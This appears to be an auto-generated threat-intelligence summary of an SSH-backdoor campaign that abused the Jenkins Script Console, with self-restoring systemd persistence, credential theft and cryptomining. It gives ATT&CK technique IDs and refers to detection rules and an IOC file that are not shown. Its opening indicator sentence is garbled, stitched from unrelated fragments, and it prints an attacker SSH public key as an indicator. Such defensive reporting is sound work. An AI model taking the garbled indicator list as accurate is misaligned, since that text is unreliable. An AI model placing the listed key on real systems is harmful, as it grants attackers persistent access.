Key indicators include then cryptomining, exported for detection authoring and LE/PSIRT handoff., so do not blanket-block the host -- but the /cdn/ URLs on it are, no Host header and no passive DNS for this address, ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOSnqswdyl3z/cXuBa0B47XoQjXHs29FrxL0ZpssApCh host-monitor@main, host-monitor@main, and more. The full list and a downloadable IOC CSV are in the Detection Rules & IOCs section.

How do I detect The Backdoor Key That Puts Itself Back?

The Backdoor Key That Puts Itself Back can be detected with Sigma Rule, IOC CSV — all downloadable on this page. Two rules covering the two halves of this campaign: SSH backdoor persistence, and the delivery path through the Script Console. Full atomic and behavioural indicators are in the IOC CSV; deploy the Sigma rules first, they cover the parts of this campaign that survive infrastructure rotation.

What MITRE ATT&CK techniques does The Backdoor Key That Puts Itself Back use?

The Backdoor Key That Puts Itself Back maps to T1098.004, T1053.006, T1036.005, T1059.004, T1552.001, T1552.004, T1555, T1082, T1083, T1496, T1562.001, T1550.001.

Browse by
Jenkinsxmriggroovy-script-console-abusesystemd-timer-persistencemid-file-key-insertionmasquerade-as-update-checkersystemd-timer-self-healdns-containment-evasion-etc-hostscompeting-miner-killcredential-store-full-decrypt-key-theftcredential harvesting (Jenkins secrets, cloud credentials, SSH keys), banked for later use or resale rather than used immediately, plus opportunistic cryptomining once the initial access is established
ssh-backdoorcredential-theft
Subscribe for new analysis Compare with another campaign